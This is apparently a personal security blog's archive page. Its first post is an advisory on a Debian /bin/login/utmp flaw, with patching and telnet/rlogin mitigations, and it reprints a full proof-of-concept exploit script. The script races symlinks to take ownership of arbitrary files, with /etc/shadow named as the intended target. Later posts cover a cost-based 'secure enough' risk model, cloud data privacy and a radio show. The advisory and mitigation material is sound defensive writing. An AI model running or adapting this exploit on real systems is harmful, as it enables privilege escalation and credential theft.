Remember our discussion on viewing computer security as threat mitigation? Well the likely risk of one attack vector being exploited has just increased.
An issue was uncovered in Linux’s /bin/login and utmp being able to change the ownership of arbitrary files upon remote login. The example they discussed was changing /etc/shadow to be readable by a normal user (supposedly for password cracking at the attacker’s leisure), but this could also be used to make accessible ownership of other people’s ssh private keys, view plaintext passwords in daemon configuration files, gain access to applications normally restricted to superusers, and of course do whatever else a creative individual could think of. The current exploit is a proof-of-concept, and thus isn’t all that elegant (nor dangerous). However, that doesn’t mean future iterations of the exploit code won’t be either.
The issue can be easily avoided by updating your Debian system - the Debian security team has released an update which includes a fix for this issue.
For other distributions, there has been no discussion of temporary measures to avoid being vulnerable. My suggestions for temporary protection from the *current* exploit are:
- Disable external incoming access to port 23 (telnet).
- Prevent the telnet daemon (telnetd) from running.
- Don’t give in to any requests to ‘chgrp utmp’ anything (although this isn’t a complete workaround - if an issue allowing escalation of privileges within any utmp owned file is found, you will still be vulnerable without another temporary fix from above)
However, I believe another iteration of this exploit will include using rlogin if telnet fails, as it also uses /bin/login. To avoid being vulnerable to this threat while a patch is released for your distribution, you may also do the following:
- Disable external incoming access to port 513 (rlogind).
- Prevent the rlogin daemon (rlogind) from running.
- Same as 3. from above.
To be complete, below is the proof-of-concept exploit developed by Paul Szabo of the University of Sydney. It was released on December 1, 2008.
#!/bin/bash -
echo '
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
struct utmp entry;
int i;
entry.ut_type=LOGIN_PROCESS;
strcpy(entry.ut_line,"/tmp/x");
entry.ut_time=0;
strcpy(entry.ut_user,"badguy");
strcpy(entry.ut_host,"badhost");
entry.ut_addr=0;
for(i=1;i<9;i++) {
entry.ut_pid=(pid_t)( i + (int)getpid() );
sprintf(entry.ut_id,"bad%d",i);
pututline(&entry);
}
}
' > /tmp/fillutmp.c
cc -o /tmp/fillutmp /tmp/fillutmp.c
echo 'Ask someone with group utmp privileges to do:'
echo ' chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS
echo '
#include
int main(int argc, char *argv[])
{
while(1)
{
unlink("/tmp/x");
symlink(argv[1],"/tmp/x");
unlink("/tmp/x");
symlink(argv[2],"/tmp/x");
}
}
' > /tmp/jigglelnk.c
cc -o /tmp/jigglelnk /tmp/jigglelnk.c
HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."
ATK=/etc/debian_version # should be /etc/shadow
echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!
LOOP=0
while :; do
((LOOP = $LOOP + 1))
echo; echo; echo "Try = $LOOP"
/tmp/fillutmp
echo "Telnetting... if login succeeds, just exit for next try..."
/usr/bin/telnet $HOST
LS=`ls -ld $ATK`
case "$LS" in
*root*root* ) ;; # not done yet...
* )
echo; echo
echo "Success after $LOOP tries!"
echo "$LS"
echo; echo
break
;;
esac
done
kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x
# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28 2006 /etc/debian_version
Stay secure!
My “Why I Don’t Use Antivirus” post has been receiving a recent surge of traffic, and with it, new commentors who open my eyes to how other people think. The result of my reading these comments is the conclusion that people view practices as either “secure” or “insecure,” while leaving little room in between the camps.
In this post, I’m going to introduce a concept that is hardly new, but needs more attention:
Secure Enough: The point in which the impact of an unmitigated risk is less than the effort to mitigate the risk.
Defensive computer security is not a game you can win. All it takes is one unacceptable compromise for you to lose, while offensive computer security plays with polar rules. What changes from person to person however is the definition of “unacceptable compromise.” For a home machine, it may be an attacker gaining access to information that would leave an individual financially vulnerable. For a business, it is definitely related to the goals of the business and the damage a compromise could inflict.
Because of this, every entity’s security model is going to be different, but they (should) all start with an analysis of resources and the priority with which they should be protected. Then, and only then, should layers of security be applied to a system. The reason for this?
Security applied without cause increases complexity of a system with no added benefit. [1]
Breaking it down, the steps to deciding how to secure a system are as follows:
- Quantify the resources of a system (not forgetting privacy, damage to community, and other frequently overlooked aspects of a compromise)
- Determine the importance of defending each resource (including cost to repair, replace, and contain the results of an attack in man hour, intellectual property, and dollar cost)
- Determine the risk tolerance for each resource identified, independent of cost (with 0 meaning much risk tolerance, and arbitrarily high numbers conveying increasingly less risk tolerance, for the sake of this article)
- Determine the cost of defending each resource (using the same criteria as #2, in addition to including cost to maintain the security measure)
I won’t go further into describing how to do the analysis, because every entity is going to be different with every facet. Regardless, once the three steps have been performed, deciding which security layers to apply is the result of an expression like the following: [2]
if: (importance of resource + cost of resource) * risk tolerance > (cost of implementing security measure)
then: Defend resource using security measure identified
else: Analyze less costly alternatives for defending resource, defend with blanket defense, or ignore additional defense for this resource completely
This trivially says that if the resource is important, valuable, and you cannot risk an attack on it, it will be beneficial to mitigate any risk of that resource being compromised. Alternatively, if the resource is not important, not valuable, and you can tolerate the risk of it being compromised, it may not be worth the effort to mitigate the potential security threat. Points in between become a balance of cost of and risk tolerance versus the cost of implementing a security layer to protect the resource.
This method of securing a system obviously leaves security threats that are not directly mitigated. But the idea is not to get perfect security coverage, it is to adequately cover the resources that are worth defending. Or, in other words, the goal is to be Secure Enough.
[1] Okay, maybe there is *some* benefit, but because the security layer was applied without direct cause, the potential benefit will only be realized on accident - but regardless increases the complexity of a system.
[2] I made this expression up, it is only given to convey the relationship between the involved metrics.
I want to open this up with a question posed by j9er on twitter:
j9er Taking cloud computing to its ultimate outcome, does ayone care that, say, Microsoft would have all your data? Or, Google?
My concise response: yes, I care. But the three primary reasons go beyond the 140 characters twitter would allot me.
Unrestricted Access
The big thing that keeps me from being completely comfortable with a third party storing my data for me is whether I would have unrestricted access to my data. Currently, users are even having problems with google disabling access to its user’s gmail accounts. So say Google or Microsoft have all my data, not just my e-mail and some google docs: how are they going to guarantee that I can access my data how I want, when I want, and wherever I want?
Security
Beyond that, security is an issue. On my home system or my personal servers, I can guarantee their security, as I am the sole administrator of my nodes and I am security conscious. Additionally, my personal data is not coveted by malicious hackers. The amount of effort it would take for someone to gain access to my machines externally is definitely not worth the information they would gain access to. However, when the information of millions of users is aggregated into one location, that data becomes extremely attractive. So the second question becomes: how can the company guarantee the security of the cloud, and the security of the information within? (On that note, I highly reccommend the cloudsecurity blog, where they attempt to answer these questions.)
Privacy
The last concern is one I am sure most people familiar with the topic have thought about. Storing information with an organization involves a great amount of trust, and when it is done improperly people raise their voices. (A good example is any time the CIA/NSA/FBI want to merge databases. If you do it without consent, it is an improper collection of information.) Storing information in the cloud therefore needs to be consensual, guarded well, and exposed only to the owner and applications owned by the organization, but never reviewed by humans, and with all personally identifying information scrubbed. The final question therefore is: how can the organization storing my data guarantee my personal privacy?
I care about my data. Especially who has it, who may have access to it, and how it may be used to identify me. Until the questions can be answered and those guarantees made, I won’t be comfortable storing all my data in the cloud.
2600 runs a weekly radio show Off the Hook. I pull it down via RSS (high-definition link) and listen to it in the car when I can, and recommend the show to anyone interested in privacy and security.
The reason I’m bringing it up is because my friend Drew Stephens has been posting transcripts with links to more information for the major topics. It is great for providing supplementary information, and is definitely worth checking out if you miss a show.
Kudos, Drew!
